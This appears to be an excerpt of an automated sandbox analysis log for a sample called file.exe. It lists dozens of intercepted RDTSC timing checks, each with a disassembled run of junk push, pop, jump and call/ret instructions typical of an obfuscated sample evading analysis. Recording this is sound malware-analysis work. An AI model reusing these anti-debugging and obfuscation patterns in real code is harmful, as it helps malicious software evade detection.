Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840C8B second address: 840C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840F39 second address: 840F3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8411B6 second address: 8411BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841A61 second address: 841A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F367D44DA15h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84231D second address: 842322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842C7B second address: 842CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 pushad 0x0000000a jns 00007F367D44DA1Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F367D44DA10h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842AB8 second address: 842AC2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F367CBFD3DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843CCA second address: 843D36 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F367D44DA08h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a jmp 00007F367D44DA0Bh 0x0000002f push 00000000h 0x00000031 je 00007F367D44DA0Ch 0x00000037 mov esi, dword ptr [ebp+122D2C69h] 0x0000003d push 00000000h 0x0000003f mov edi, 535A7BDDh 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push edx 0x00000049 pop edx 0x0000004a jmp 00007F367D44DA13h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844856 second address: 84485C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844661 second address: 844667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84485C second address: 8448D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F367CBFD3E9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F367CBFD3D8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a add dword ptr [ebp+122D2485h], eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F367CBFD3D8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c push 00000000h 0x0000004e sub dword ptr [ebp+122D1D99h], edx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push esi 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844667 second address: 84466B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8448D1 second address: 8448D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8468F6 second address: 8468FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845CA0 second address: 845CB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F367CBFD3E0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8466BA second address: 8466D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8468FB second address: 846905 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F367CBFD3DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845CB5 second address: 845CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 jo 00007F367D44DA0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8466D3 second address: 8466E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367CBFD3DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8466E3 second address: 8466F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F367D44DA08h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8474CF second address: 8474DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8474DC second address: 8474E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7FB4 second address: 7F7FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7FB8 second address: 7F7FC2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7FC2 second address: 7F8006 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F367CBFD3D6h 0x00000009 jmp 00007F367CBFD3E5h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push esi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F367CBFD3DBh 0x00000019 pop esi 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d je 00007F367CBFD3D8h 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 push esi 0x00000029 pop esi 0x0000002a popad 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8006 second address: 7F800C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F800C second address: 7F8012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84DBE0 second address: 84DBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84DBE4 second address: 84DBE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84DBE8 second address: 84DBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FAEC second address: 84FAF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FAF3 second address: 84FAF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FDB7 second address: 84FDD7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F367CBFD3E3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851F41 second address: 851F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853BFB second address: 853C39 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F367CBFD3D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jnc 00007F367CBFD3DCh 0x00000015 push 00000000h 0x00000017 mov ebx, dword ptr [ebp+122D2F2Ch] 0x0000001d push 00000000h 0x0000001f and di, C47Fh 0x00000024 push eax 0x00000025 pushad 0x00000026 jmp 00007F367CBFD3DEh 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854BAC second address: 854BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854BB1 second address: 854BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367CBFD3E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854BC6 second address: 854BCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858ADF second address: 858B55 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F367CBFD3D6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d cmc 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F367CBFD3D8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D1DB1h], edx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F367CBFD3D8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c adc bx, 7F30h 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F367CBFD3E3h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858B55 second address: 858B63 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858B63 second address: 858B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858D53 second address: 858D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858D57 second address: 858D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858D5B second address: 858D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858D61 second address: 858D6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F367CBFD3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858D6B second address: 858D9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F367D44DA0Fh 0x00000012 jo 00007F367D44DA0Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857D8F second address: 857D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857D9B second address: 857D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855D26 second address: 855D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AB60 second address: 85AB6A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857D9F second address: 857DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BA53 second address: 85BA5D instructions: 0x00000000 rdtsc 0x00000002 je 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CA10 second address: 85CA15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CA15 second address: 85CAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA15h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push eax 0x00000010 jmp 00007F367D44DA13h 0x00000015 pop ebx 0x00000016 xor edi, 79CA4D08h 0x0000001c push 00000000h 0x0000001e add ebx, 520F064Ah 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F367D44DA08h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 xchg eax, esi 0x00000041 jmp 00007F367D44DA0Eh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F367D44DA18h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CAA5 second address: 85CAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CBD3 second address: 85CC7A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F367D44DA0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D32ECh], ebx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F367D44DA08h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 or edi, dword ptr [ebp+122D2587h] 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov dword ptr [ebp+122D2480h], eax 0x00000045 pushad 0x00000046 add edi, dword ptr [ebp+122D24B3h] 0x0000004c mov ebx, dword ptr [ebp+122D2C21h] 0x00000052 popad 0x00000053 mov eax, dword ptr [ebp+122D0A0Dh] 0x00000059 push 00000000h 0x0000005b push edx 0x0000005c call 00007F367D44DA08h 0x00000061 pop edx 0x00000062 mov dword ptr [esp+04h], edx 0x00000066 add dword ptr [esp+04h], 0000001Dh 0x0000006e inc edx 0x0000006f push edx 0x00000070 ret 0x00000071 pop edx 0x00000072 ret 0x00000073 mov edi, 0BA32EFEh 0x00000078 push FFFFFFFFh 0x0000007a mov ebx, 442D64A2h 0x0000007f push eax 0x00000080 push eax 0x00000081 push edx 0x00000082 push ecx 0x00000083 jmp 00007F367D44DA0Eh 0x00000088 pop ecx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862952 second address: 86296B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866DB4 second address: 866DD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 push ecx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jne 00007F367D44DA06h 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866DD1 second address: 866DDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F367CBFD3D6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80218B second address: 802199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F367D44DA1Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802199 second address: 8021AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8021AE second address: 8021B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8021B4 second address: 8021D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8664E3 second address: 8664E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866641 second address: 86667B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3DAh 0x00000009 jmp 00007F367CBFD3DCh 0x0000000e popad 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F367CBFD3E4h 0x00000017 jl 00007F367CBFD3D8h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8667C4 second address: 8667D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jo 00007F367D44DA06h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866952 second address: 86695C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86695C second address: 866961 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAD4 second address: 86AAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAD8 second address: 86AAE2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAE2 second address: 86AB0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F367CBFD3E4h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F367CBFD3D8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8712B6 second address: 8712C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8712C5 second address: 8712CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8712CB second address: 8712D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8072AA second address: 8072B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edi 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8072B8 second address: 8072BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87008E second address: 8700A1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F367CBFD3D6h 0x00000008 jno 00007F367CBFD3D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8700A1 second address: 8700B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F367D44DA06h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F367D44DA08h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870662 second address: 87067E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jp 00007F367CBFD3D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87067E second address: 87068F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F367D44DA0Ch 0x0000000b jl 00007F367D44DA06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870802 second address: 87080C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F367CBFD3DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870952 second address: 870970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F367D44DA06h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop edx 0x0000000e jl 00007F367D44DA1Ah 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870970 second address: 870974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874081 second address: 874087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874087 second address: 8740A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F367CBFD3E0h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8740A0 second address: 8740A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87768E second address: 877692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
